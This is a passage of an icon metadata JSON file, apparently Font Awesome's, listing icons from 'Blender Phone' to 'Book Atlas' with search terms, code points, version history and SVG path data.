        "silly",
        "smoothie"
      ]
    },
    "styles": ["solid"],
    "unicode": "f6b6",
    "label": "Blender Phone",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767420,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M224 352L196.8 52.3C194.2 24.2 216.3 0 244.6 0H534.1c21.1 0 36.4 20.1 30.9 40.4L558.5 64H400c-8.8 0-16 7.2-16 16s7.2 16 16 16H549.8l-17.5 64H400c-8.8 0-16 7.2-16 16s7.2 16 16 16H523.6l-17.5 64H400c-8.8 0-16 7.2-16 16s7.2 16 16 16h97.5L480 352H224zm-16 32H496c26.5 0 48 21.5 48 48v32c0 26.5-21.5 48-48 48H208c-26.5 0-48-21.5-48-48V432c0-26.5 21.5-48 48-48zm144 96a32 32 0 1 0 0-64 32 32 0 1 0 0 64zM147.5 30.7c10.8 6.7 15.3 21 10.6 33.4l-22 57.8c-4.2 10.9-14.5 17.6-25.3 16.4l-33.3-3.6c-13.6 42.2-13.6 88.4 0 130.7l33.3-3.6c10.9-1.2 21.2 5.5 25.3 16.4l22 57.8c4.7 12.4 .2 26.7-10.6 33.4l-44 27.2c-9.7 6-21.9 4.2-29.8-4.3C-24.6 286-24.6 114 73.7 7.8C81.6-.7 93.8-2.5 103.5 3.5l44 27.2z\"/></svg>",
        "viewBox": [0, 0, 576, 512],
        "width": 576,
        "height": 512,
        "path": "M224 352L196.8 52.3C194.2 24.2 216.3 0 244.6 0H534.1c21.1 0 36.4 20.1 30.9 40.4L558.5 64H400c-8.8 0-16 7.2-16 16s7.2 16 16 16H549.8l-17.5 64H400c-8.8 0-16 7.2-16 16s7.2 16 16 16H523.6l-17.5 64H400c-8.8 0-16 7.2-16 16s7.2 16 16 16h97.5L480 352H224zm-16 32H496c26.5 0 48 21.5 48 48v32c0 26.5-21.5 48-48 48H208c-26.5 0-48-21.5-48-48V432c0-26.5 21.5-48 48-48zm144 96a32 32 0 1 0 0-64 32 32 0 1 0 0 64zM147.5 30.7c10.8 6.7 15.3 21 10.6 33.4l-22 57.8c-4.2 10.9-14.5 17.6-25.3 16.4l-33.3-3.6c-13.6 42.2-13.6 88.4 0 130.7l33.3-3.6c10.9-1.2 21.2 5.5 25.3 16.4l22 57.8c4.7 12.4 .2 26.7-10.6 33.4l-44 27.2c-9.7 6-21.9 4.2-29.8-4.3C-24.6 286-24.6 114 73.7 7.8C81.6-.7 93.8-2.5 103.5 3.5l44 27.2z"
      }
    },
    "free": ["solid"]
  },
  "blog": {
    "aliases": {
      "unicodes": {
        "secondary": ["10f781"]
      }
    },
    "changes": ["5.6.0", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": [
        "journal",
        "log",
        "online",
        "personal",
        "post",
        "web 2.0",
        "wordpress",
        "writing"
      ]
    },
    "styles": ["solid"],
    "unicode": "f781",
    "label": "Blog",
    "voted": true,
    "svg": {
      "solid": {
        "last_modified": 1684766677,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M192 32c0 17.7 14.3 32 32 32c123.7 0 224 100.3 224 224c0 17.7 14.3 32 32 32s32-14.3 32-32C512 128.9 383.1 0 224 0c-17.7 0-32 14.3-32 32zm0 96c0 17.7 14.3 32 32 32c70.7 0 128 57.3 128 128c0 17.7 14.3 32 32 32s32-14.3 32-32c0-106-86-192-192-192c-17.7 0-32 14.3-32 32zM96 144c0-26.5-21.5-48-48-48S0 117.5 0 144V368c0 79.5 64.5 144 144 144s144-64.5 144-144s-64.5-144-144-144H128v96h16c26.5 0 48 21.5 48 48s-21.5 48-48 48s-48-21.5-48-48V144z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M192 32c0 17.7 14.3 32 32 32c123.7 0 224 100.3 224 224c0 17.7 14.3 32 32 32s32-14.3 32-32C512 128.9 383.1 0 224 0c-17.7 0-32 14.3-32 32zm0 96c0 17.7 14.3 32 32 32c70.7 0 128 57.3 128 128c0 17.7 14.3 32 32 32s32-14.3 32-32c0-106-86-192-192-192c-17.7 0-32 14.3-32 32zM96 144c0-26.5-21.5-48-48-48S0 117.5 0 144V368c0 79.5 64.5 144 144 144s144-64.5 144-144s-64.5-144-144-144H128v96h16c26.5 0 48 21.5 48 48s-21.5 48-48 48s-48-21.5-48-48V144z"
      }
    },
    "free": ["solid"]
  },
  "blogger": {
    "changes": ["5.0.0"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "f37c",
    "label": "Blogger",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014468,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M162.4 196c4.8-4.9 6.2-5.1 36.4-5.1 27.2 0 28.1.1 32.1 2.1 5.8 2.9 8.3 7 8.3 13.6 0 5.9-2.4 10-7.6 13.4-2.8 1.8-4.5 1.9-31.1 2.1-16.4.1-29.5-.2-31.5-.8-10.3-2.9-14.1-17.7-6.6-25.3zm61.4 94.5c-53.9 0-55.8.2-60.2 4.1-3.5 3.1-5.7 9.4-5.1 13.9.7 4.7 4.8 10.1 9.2 12 2.2 1 14.1 1.7 56.3 1.2l47.9-.6 9.2-1.5c9-5.1 10.5-17.4 3.1-24.4-5.3-4.7-5-4.7-60.4-4.7zm223.4 130.1c-3.5 28.4-23 50.4-51.1 57.5-7.2 1.8-9.7 1.9-172.9 1.8-157.8 0-165.9-.1-172-1.8-8.4-2.2-15.6-5.5-22.3-10-5.6-3.8-13.9-11.8-17-16.4-3.8-5.6-8.2-15.3-10-22C.1 423 0 420.3 0 256.3 0 93.2 0 89.7 1.8 82.6 8.1 57.9 27.7 39 53 33.4c7.3-1.6 332.1-1.9 340-.3 21.2 4.3 37.9 17.1 47.6 36.4 7.7 15.3 7-1.5 7.3 180.6.2 115.8 0 164.5-.7 170.5zm-85.4-185.2c-1.1-5-4.2-9.6-7.7-11.5-1.1-.6-8-1.3-15.5-1.7-12.4-.6-13.8-.8-17.8-3.1-6.2-3.6-7.9-7.6-8-18.3 0-20.4-8.5-39.4-25.3-56.5-12-12.2-25.3-20.5-40.6-25.1-3.6-1.1-11.8-1.5-39.2-1.8-42.9-.5-52.5.4-67.1 6.2-27 10.7-46.3 33.4-53.4 62.4-1.3 5.4-1.6 14.2-1.9 64.3-.4 62.8 0 72.1 4 84.5 9.7 30.7 37.1 53.4 64.6 58.4 9.2 1.7 122.2 2.1 133.7.5 20.1-2.7 35.9-10.8 50.7-25.9 10.7-10.9 17.4-22.8 21.8-38.5 3.2-10.9 2.9-88.4 1.7-93.9z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
        "path": "M162.4 196c4.8-4.9 6.2-5.1 36.4-5.1 27.2 0 28.1.1 32.1 2.1 5.8 2.9 8.3 7 8.3 13.6 0 5.9-2.4 10-7.6 13.4-2.8 1.8-4.5 1.9-31.1 2.1-16.4.1-29.5-.2-31.5-.8-10.3-2.9-14.1-17.7-6.6-25.3zm61.4 94.5c-53.9 0-55.8.2-60.2 4.1-3.5 3.1-5.7 9.4-5.1 13.9.7 4.7 4.8 10.1 9.2 12 2.2 1 14.1 1.7 56.3 1.2l47.9-.6 9.2-1.5c9-5.1 10.5-17.4 3.1-24.4-5.3-4.7-5-4.7-60.4-4.7zm223.4 130.1c-3.5 28.4-23 50.4-51.1 57.5-7.2 1.8-9.7 1.9-172.9 1.8-157.8 0-165.9-.1-172-1.8-8.4-2.2-15.6-5.5-22.3-10-5.6-3.8-13.9-11.8-17-16.4-3.8-5.6-8.2-15.3-10-22C.1 423 0 420.3 0 256.3 0 93.2 0 89.7 1.8 82.6 8.1 57.9 27.7 39 53 33.4c7.3-1.6 332.1-1.9 340-.3 21.2 4.3 37.9 17.1 47.6 36.4 7.7 15.3 7-1.5 7.3 180.6.2 115.8 0 164.5-.7 170.5zm-85.4-185.2c-1.1-5-4.2-9.6-7.7-11.5-1.1-.6-8-1.3-15.5-1.7-12.4-.6-13.8-.8-17.8-3.1-6.2-3.6-7.9-7.6-8-18.3 0-20.4-8.5-39.4-25.3-56.5-12-12.2-25.3-20.5-40.6-25.1-3.6-1.1-11.8-1.5-39.2-1.8-42.9-.5-52.5.4-67.1 6.2-27 10.7-46.3 33.4-53.4 62.4-1.3 5.4-1.6 14.2-1.9 64.3-.4 62.8 0 72.1 4 84.5 9.7 30.7 37.1 53.4 64.6 58.4 9.2 1.7 122.2 2.1 133.7.5 20.1-2.7 35.9-10.8 50.7-25.9 10.7-10.9 17.4-22.8 21.8-38.5 3.2-10.9 2.9-88.4 1.7-93.9z"
      }
    },
    "free": ["brands"]
  },
  "blogger-b": {
    "changes": ["5.0.0"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "f37d",
    "label": "Blogger B",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014471,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M446.6 222.7c-1.8-8-6.8-15.4-12.5-18.5-1.8-1-13-2.2-25-2.7-20.1-.9-22.3-1.3-28.7-5-10.1-5.9-12.8-12.3-12.9-29.5-.1-33-13.8-63.7-40.9-91.3-19.3-19.7-40.9-33-65.5-40.5-5.9-1.8-19.1-2.4-63.3-2.9-69.4-.8-84.8.6-108.4 10C45.9 59.5 14.7 96.1 3.3 142.9 1.2 151.7.7 165.8.2 246.8c-.6 101.5.1 116.4 6.4 136.5 15.6 49.6 59.9 86.3 104.4 94.3 14.8 2.7 197.3 3.3 216 .8 32.5-4.4 58-17.5 81.9-41.9 17.3-17.7 28.1-36.8 35.2-62.1 4.9-17.6 4.5-142.8 2.5-151.7zm-322.1-63.6c7.8-7.9 10-8.2 58.8-8.2 43.9 0 45.4.1 51.8 3.4 9.3 4.7 13.4 11.3 13.4 21.9 0 9.5-3.8 16.2-12.3 21.6-4.6 2.9-7.3 3.1-50.3 3.3-26.5.2-47.7-.4-50.8-1.2-16.6-4.7-22.8-28.5-10.6-40.8zm191.8 199.8l-14.9 2.4-77.5.9c-68.1.8-87.3-.4-90.9-2-7.1-3.1-13.8-11.7-14.9-19.4-1.1-7.3 2.6-17.3 8.2-22.4 7.1-6.4 10.2-6.6 97.3-6.7 89.6-.1 89.1-.1 97.6 7.8 12.1 11.3 9.5 31.2-4.9 39.4z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
        "path": "M446.6 222.7c-1.8-8-6.8-15.4-12.5-18.5-1.8-1-13-2.2-25-2.7-20.1-.9-22.3-1.3-28.7-5-10.1-5.9-12.8-12.3-12.9-29.5-.1-33-13.8-63.7-40.9-91.3-19.3-19.7-40.9-33-65.5-40.5-5.9-1.8-19.1-2.4-63.3-2.9-69.4-.8-84.8.6-108.4 10C45.9 59.5 14.7 96.1 3.3 142.9 1.2 151.7.7 165.8.2 246.8c-.6 101.5.1 116.4 6.4 136.5 15.6 49.6 59.9 86.3 104.4 94.3 14.8 2.7 197.3 3.3 216 .8 32.5-4.4 58-17.5 81.9-41.9 17.3-17.7 28.1-36.8 35.2-62.1 4.9-17.6 4.5-142.8 2.5-151.7zm-322.1-63.6c7.8-7.9 10-8.2 58.8-8.2 43.9 0 45.4.1 51.8 3.4 9.3 4.7 13.4 11.3 13.4 21.9 0 9.5-3.8 16.2-12.3 21.6-4.6 2.9-7.3 3.1-50.3 3.3-26.5.2-47.7-.4-50.8-1.2-16.6-4.7-22.8-28.5-10.6-40.8zm191.8 199.8l-14.9 2.4-77.5.9c-68.1.8-87.3-.4-90.9-2-7.1-3.1-13.8-11.7-14.9-19.4-1.1-7.3 2.6-17.3 8.2-22.4 7.1-6.4 10.2-6.6 97.3-6.7 89.6-.1 89.1-.1 97.6 7.8 12.1 11.3 9.5 31.2-4.9 39.4z"
      }
    },
    "free": ["brands"]
  },
  "bluetooth": {
    "aliases": {
      "unicodes": {
        "secondary": ["10f293"]
      }
    },
    "changes": ["4.5.0", "5.0.0", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["signal"]
    },
    "styles": ["brands"],
    "unicode": "f293",
    "label": "Bluetooth",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014464,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M292.6 171.1L249.7 214l-.3-86 43.2 43.1m-43.2 219.8l43.1-43.1-42.9-42.9-.2 86zM416 259.4C416 465 344.1 512 230.9 512S32 465 32 259.4 115.4 0 228.6 0 416 53.9 416 259.4zm-158.5 0l79.4-88.6L211.8 36.5v176.9L138 139.6l-27 26.9 92.7 93-92.7 93 26.9 26.9 73.8-73.8 2.3 170 127.4-127.5-83.9-88.7z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
        "path": "M292.6 171.1L249.7 214l-.3-86 43.2 43.1m-43.2 219.8l43.1-43.1-42.9-42.9-.2 86zM416 259.4C416 465 344.1 512 230.9 512S32 465 32 259.4 115.4 0 228.6 0 416 53.9 416 259.4zm-158.5 0l79.4-88.6L211.8 36.5v176.9L138 139.6l-27 26.9 92.7 93-92.7 93 26.9 26.9 73.8-73.8 2.3 170 127.4-127.5-83.9-88.7z"
      }
    },
    "free": ["brands"]
  },
  "bluetooth-b": {
    "changes": ["4.5.0", "5.0.0"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "f294",
    "label": "Bluetooth",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014475,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 320 512\"><path d=\"M196.48 260.023l92.626-103.333L143.125 0v206.33l-86.111-86.111-31.406 31.405 108.061 108.399L25.608 368.422l31.406 31.405 86.111-86.111L145.84 512l148.552-148.644-97.912-103.333zm40.86-102.996l-49.977 49.978-.338-100.295 50.315 50.317zM187.363 313.04l49.977 49.978-50.315 50.316.338-100.294z\"/></svg>",
        "viewBox": [0, 0, 320, 512],
        "width": 320,
        "height": 512,
        "path": "M196.48 260.023l92.626-103.333L143.125 0v206.33l-86.111-86.111-31.406 31.405 108.061 108.399L25.608 368.422l31.406 31.405 86.111-86.111L145.84 512l148.552-148.644-97.912-103.333zm40.86-102.996l-49.977 49.978-.338-100.295 50.315 50.317zM187.363 313.04l49.977 49.978-50.315 50.316.338-100.294z"
      }
    },
    "free": ["brands"]
  },
  "bold": {
    "aliases": {
      "unicodes": {
        "secondary": ["10f032"]
      }
    },
    "changes": [
      "1.0.0",
      "5.0.0",
      "5.9.0",
      "5.10.2",
      "6.0.0-beta1",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": ["emphasis", "format", "text"]
    },
    "styles": ["solid"],
    "unicode": "f032",
    "label": "Bold",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767246,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 384 512\"><path d=\"M0 64C0 46.3 14.3 32 32 32H80 96 224c70.7 0 128 57.3 128 128c0 31.3-11.3 60.1-30 82.3c37.1 22.4 62 63.1 62 109.7c0 70.7-57.3 128-128 128H96 80 32c-17.7 0-32-14.3-32-32s14.3-32 32-32H48V256 96H32C14.3 96 0 81.7 0 64zM224 224c35.3 0 64-28.7 64-64s-28.7-64-64-64H112V224H224zM112 288V416H256c35.3 0 64-28.7 64-64s-28.7-64-64-64H224 112z\"/></svg>",
        "viewBox": [0, 0, 384, 512],
        "width": 384,
        "height": 512,
        "path": "M0 64C0 46.3 14.3 32 32 32H80 96 224c70.7 0 128 57.3 128 128c0 31.3-11.3 60.1-30 82.3c37.1 22.4 62 63.1 62 109.7c0 70.7-57.3 128-128 128H96 80 32c-17.7 0-32-14.3-32-32s14.3-32 32-32H48V256 96H32C14.3 96 0 81.7 0 64zM224 224c35.3 0 64-28.7 64-64s-28.7-64-64-64H112V224H224zM112 288V416H256c35.3 0 64-28.7 64-64s-28.7-64-64-64H224 112z"
      }
    },
    "free": ["solid"]
  },
  "bolt": {
    "aliases": {
      "names": ["zap"],
      "unicodes": {
        "composite": ["26a1"],
        "secondary": ["10f0e7"]
      }
    },
    "changes": [
      "2.0.0",
      "5.0.0",
      "5.5.0",
      "6.0.0-beta1",
      "6.0.0",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": [
        "charge",
        "danger",
        "electric",
        "electricity",
        "flash",
        "high voltage",
        "lightning",
        "voltage",
        "weather",
        "zap"
      ]
    },
    "styles": ["solid"],
    "unicode": "f0e7",
    "label": "Bolt",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767367,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M349.4 44.6c5.9-13.7 1.5-29.7-10.6-38.5s-28.6-8-39.9 1.8l-256 224c-10 8.8-13.6 22.9-8.9 35.3S50.7 288 64 288H175.5L98.6 467.4c-5.9 13.7-1.5 29.7 10.6 38.5s28.6 8 39.9-1.8l256-224c10-8.8 13.6-22.9 8.9-35.3s-16.6-20.7-30-20.7H272.5L349.4 44.6z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
        "path": "M349.4 44.6c5.9-13.7 1.5-29.7-10.6-38.5s-28.6-8-39.9 1.8l-256 224c-10 8.8-13.6 22.9-8.9 35.3S50.7 288 64 288H175.5L98.6 467.4c-5.9 13.7-1.5 29.7 10.6 38.5s28.6 8 39.9-1.8l256-224c10-8.8 13.6-22.9 8.9-35.3s-16.6-20.7-30-20.7H272.5L349.4 44.6z"
      }
    },
    "free": ["solid"]
  },
  "bolt-lightning": {
    "changes": ["6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["electricity", "flash", "lightning", "weather", "zap"]
    },
    "styles": ["solid"],
    "unicode": "e0b7",
    "label": "Bolt Lightning",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767662,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 384 512\"><path d=\"M0 256L28.5 28c2-16 15.6-28 31.8-28H228.9c15 0 27.1 12.1 27.1 27.1c0 3.2-.6 6.5-1.7 9.5L208 160H347.3c20.2 0 36.7 16.4 36.7 36.7c0 7.4-2.2 14.6-6.4 20.7l-192.2 281c-5.9 8.6-15.6 13.7-25.9 13.7h-2.9c-15.7 0-28.5-12.8-28.5-28.5c0-2.3 .3-4.6 .9-6.9L176 288H32c-17.7 0-32-14.3-32-32z\"/></svg>",
        "viewBox": [0, 0, 384, 512],
        "width": 384,
        "height": 512,
        "path": "M0 256L28.5 28c2-16 15.6-28 31.8-28H228.9c15 0 27.1 12.1 27.1 27.1c0 3.2-.6 6.5-1.7 9.5L208 160H347.3c20.2 0 36.7 16.4 36.7 36.7c0 7.4-2.2 14.6-6.4 20.7l-192.2 281c-5.9 8.6-15.6 13.7-25.9 13.7h-2.9c-15.7 0-28.5-12.8-28.5-28.5c0-2.3 .3-4.6 .9-6.9L176 288H32c-17.7 0-32-14.3-32-32z"
      }
    },
    "free": ["solid"]
  },
  "bomb": {
    "aliases": {
      "unicodes": {
        "composite": ["1f4a3"],
        "secondary": ["10f1e2"]
      }
    },
    "changes": [
      "4.1.0",
      "5.0.0",
      "6.0.0-beta1",
      "6.0.0",
      "6.1.2",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": [
        "bomb",
        "comic",
        "error",
        "explode",
        "fuse",
        "grenade",
        "warning"
      ]
    },
    "styles": ["solid"],
    "unicode": "f1e2",
    "label": "Bomb",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767367,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M459.1 52.4L442.6 6.5C440.7 2.6 436.5 0 432.1 0s-8.5 2.6-10.4 6.5L405.2 52.4l-46 16.8c-4.3 1.6-7.3 5.9-7.2 10.4c0 4.5 3 8.7 7.2 10.2l45.7 16.8 16.8 45.8c1.5 4.4 5.8 7.5 10.4 7.5s8.9-3.1 10.4-7.5l16.5-45.8 45.7-16.8c4.2-1.5 7.2-5.7 7.2-10.2c0-4.6-3-8.9-7.2-10.4L459.1 52.4zm-132.4 53c-12.5-12.5-32.8-12.5-45.3 0l-2.9 2.9C256.5 100.3 232.7 96 208 96C93.1 96 0 189.1 0 304S93.1 512 208 512s208-93.1 208-208c0-24.7-4.3-48.5-12.2-70.5l2.9-2.9c12.5-12.5 12.5-32.8 0-45.3l-80-80zM200 192c-57.4 0-104 46.6-104 104v8c0 8.8-7.2 16-16 16s-16-7.2-16-16v-8c0-75.1 60.9-136 136-136h8c8.8 0 16 7.2 16 16s-7.2 16-16 16h-8z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M459.1 52.4L442.6 6.5C440.7 2.6 436.5 0 432.1 0s-8.5 2.6-10.4 6.5L405.2 52.4l-46 16.8c-4.3 1.6-7.3 5.9-7.2 10.4c0 4.5 3 8.7 7.2 10.2l45.7 16.8 16.8 45.8c1.5 4.4 5.8 7.5 10.4 7.5s8.9-3.1 10.4-7.5l16.5-45.8 45.7-16.8c4.2-1.5 7.2-5.7 7.2-10.2c0-4.6-3-8.9-7.2-10.4L459.1 52.4zm-132.4 53c-12.5-12.5-32.8-12.5-45.3 0l-2.9 2.9C256.5 100.3 232.7 96 208 96C93.1 96 0 189.1 0 304S93.1 512 208 512s208-93.1 208-208c0-24.7-4.3-48.5-12.2-70.5l2.9-2.9c12.5-12.5 12.5-32.8 0-45.3l-80-80zM200 192c-57.4 0-104 46.6-104 104v8c0 8.8-7.2 16-16 16s-16-7.2-16-16v-8c0-75.1 60.9-136 136-136h8c8.8 0 16 7.2 16 16s-7.2 16-16 16h-8z"
      }
    },
    "free": ["solid"]
  },
  "bone": {
    "aliases": {
      "unicodes": {
        "composite": ["1f9b4"],
        "secondary": ["10f5d7"]
      }
    },
    "changes": ["5.2.0", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["bone", "calcium", "dog", "skeletal", "skeleton", "tibia"]
    },
    "styles": ["solid"],
    "unicode": "f5d7",
    "label": "Bone",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766749,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M153.7 144.8c6.9 16.3 20.6 31.2 38.3 31.2H384c17.7 0 31.4-14.9 38.3-31.2C434.4 116.1 462.9 96 496 96c44.2 0 80 35.8 80 80c0 30.4-17 56.9-42 70.4c-3.6 1.9-6 5.5-6 9.6s2.4 7.7 6 9.6c25 13.5 42 40 42 70.4c0 44.2-35.8 80-80 80c-33.1 0-61.6-20.1-73.7-48.8C415.4 350.9 401.7 336 384 336H192c-17.7 0-31.4 14.9-38.3 31.2C141.6 395.9 113.1 416 80 416c-44.2 0-80-35.8-80-80c0-30.4 17-56.9 42-70.4c3.6-1.9 6-5.5 6-9.6s-2.4-7.7-6-9.6C17 232.9 0 206.4 0 176c0-44.2 35.8-80 80-80c33.1 0 61.6 20.1 73.7 48.8z\"/></svg>",
        "viewBox": [0, 0, 576, 512],
        "width": 576,
        "height": 512,
        "path": "M153.7 144.8c6.9 16.3 20.6 31.2 38.3 31.2H384c17.7 0 31.4-14.9 38.3-31.2C434.4 116.1 462.9 96 496 96c44.2 0 80 35.8 80 80c0 30.4-17 56.9-42 70.4c-3.6 1.9-6 5.5-6 9.6s2.4 7.7 6 9.6c25 13.5 42 40 42 70.4c0 44.2-35.8 80-80 80c-33.1 0-61.6-20.1-73.7-48.8C415.4 350.9 401.7 336 384 336H192c-17.7 0-31.4 14.9-38.3 31.2C141.6 395.9 113.1 416 80 416c-44.2 0-80-35.8-80-80c0-30.4 17-56.9 42-70.4c3.6-1.9 6-5.5 6-9.6s-2.4-7.7-6-9.6C17 232.9 0 206.4 0 176c0-44.2 35.8-80 80-80c33.1 0 61.6 20.1 73.7 48.8z"
      }
    },
    "free": ["solid"]
  },
  "bong": {
    "aliases": {
      "unicodes": {
        "secondary": ["10f55c"]
      }
    },
    "changes": ["5.1.0", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["aparatus", "cannabis", "marijuana", "pipe", "smoke", "smoking"]
    },
    "styles": ["solid"],
    "unicode": "f55c",
    "label": "Bong",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766751,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M160 208.5c0 29.1-15.6 53.9-37.2 67.8c-17.2 11.1-31.5 26.1-41.7 43.7H302.9c-10.2-17.6-24.5-32.6-41.7-43.7c-21.6-13.9-37.2-38.7-37.2-67.8V64H160V208.5zM288 64V208.5c0 5.7 3.1 10.9 7.9 14c11.2 7.2 21.5 15.5 30.9 24.8L366.1 208l-7-7c-9.4-9.4-9.4-24.6 0-33.9s24.6-9.4 33.9 0l24 24 24 24c9.4 9.4 9.4 24.6 0 33.9s-24.6 9.4-33.9 0l-7-7-43.3 43.3C374 314.1 384 347.9 384 384c0 39.4-11.9 76.1-32.2 106.5c-9.6 14.4-26.5 21.5-43.8 21.5H76.1c-17.3 0-34.2-7.1-43.8-21.5C11.9 460.1 0 423.4 0 384c0-67.8 35.1-127.3 88.1-161.5c4.8-3.1 7.9-8.3 7.9-14V64C78.3 64 64 49.7 64 32S78.3 0 96 0h16H272h16c17.7 0 32 14.3 32 32s-14.3 32-32 32z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
        "path": "M160 208.5c0 29.1-15.6 53.9-37.2 67.8c-17.2 11.1-31.5 26.1-41.7 43.7H302.9c-10.2-17.6-24.5-32.6-41.7-43.7c-21.6-13.9-37.2-38.7-37.2-67.8V64H160V208.5zM288 64V208.5c0 5.7 3.1 10.9 7.9 14c11.2 7.2 21.5 15.5 30.9 24.8L366.1 208l-7-7c-9.4-9.4-9.4-24.6 0-33.9s24.6-9.4 33.9 0l24 24 24 24c9.4 9.4 9.4 24.6 0 33.9s-24.6 9.4-33.9 0l-7-7-43.3 43.3C374 314.1 384 347.9 384 384c0 39.4-11.9 76.1-32.2 106.5c-9.6 14.4-26.5 21.5-43.8 21.5H76.1c-17.3 0-34.2-7.1-43.8-21.5C11.9 460.1 0 423.4 0 384c0-67.8 35.1-127.3 88.1-161.5c4.8-3.1 7.9-8.3 7.9-14V64C78.3 64 64 49.7 64 32S78.3 0 96 0h16H272h16c17.7 0 32 14.3 32 32s-14.3 32-32 32z"
      }
    },
    "free": ["solid"]
  },
  "book": {
    "aliases": {
      "unicodes": {
        "composite": ["1f4d4"],
        "secondary": ["10f02d"]
      }
    },
    "changes": ["1.0.0", "5.0.0", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": [
        "book",
        "cover",
        "decorated",
        "diary",
        "documentation",
        "journal",
        "library",
        "notebook",
        "notebook with decorative cover",
        "read",
        "research"
      ]
    },
    "styles": ["solid"],
    "unicode": "f02d",
    "label": "Book",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767389,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M96 0C43 0 0 43 0 96V416c0 53 43 96 96 96H384h32c17.7 0 32-14.3 32-32s-14.3-32-32-32V384c17.7 0 32-14.3 32-32V32c0-17.7-14.3-32-32-32H384 96zm0 384H352v64H96c-17.7 0-32-14.3-32-32s14.3-32 32-32zm32-240c0-8.8 7.2-16 16-16H336c8.8 0 16 7.2 16 16s-7.2 16-16 16H144c-8.8 0-16-7.2-16-16zm16 48H336c8.8 0 16 7.2 16 16s-7.2 16-16 16H144c-8.8 0-16-7.2-16-16s7.2-16 16-16z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
        "path": "M96 0C43 0 0 43 0 96V416c0 53 43 96 96 96H384h32c17.7 0 32-14.3 32-32s-14.3-32-32-32V384c17.7 0 32-14.3 32-32V32c0-17.7-14.3-32-32-32H384 96zm0 384H352v64H96c-17.7 0-32-14.3-32-32s14.3-32 32-32zm32-240c0-8.8 7.2-16 16-16H336c8.8 0 16 7.2 16 16s-7.2 16-16 16H144c-8.8 0-16-7.2-16-16zm16 48H336c8.8 0 16 7.2 16 16s-7.2 16-16 16H144c-8.8 0-16-7.2-16-16s7.2-16 16-16z"
      }
    },
    "free": ["solid"]
  },
  "book-atlas": {
    "aliases": {
      "names": ["atlas"],
      "unicodes": {
        "secondary": ["10f558"]
      }
    },
    "changes": ["5.1.0", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": [
        "book",
        "directions",
        "geography",
        "globe",
        "library",
        "map",
        "research",
        "travel",
        "wayfinding"
      ]
    },
    "styles": ["solid"],
    "unicode": "f558",
    "label": "Book Atlas",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767391,
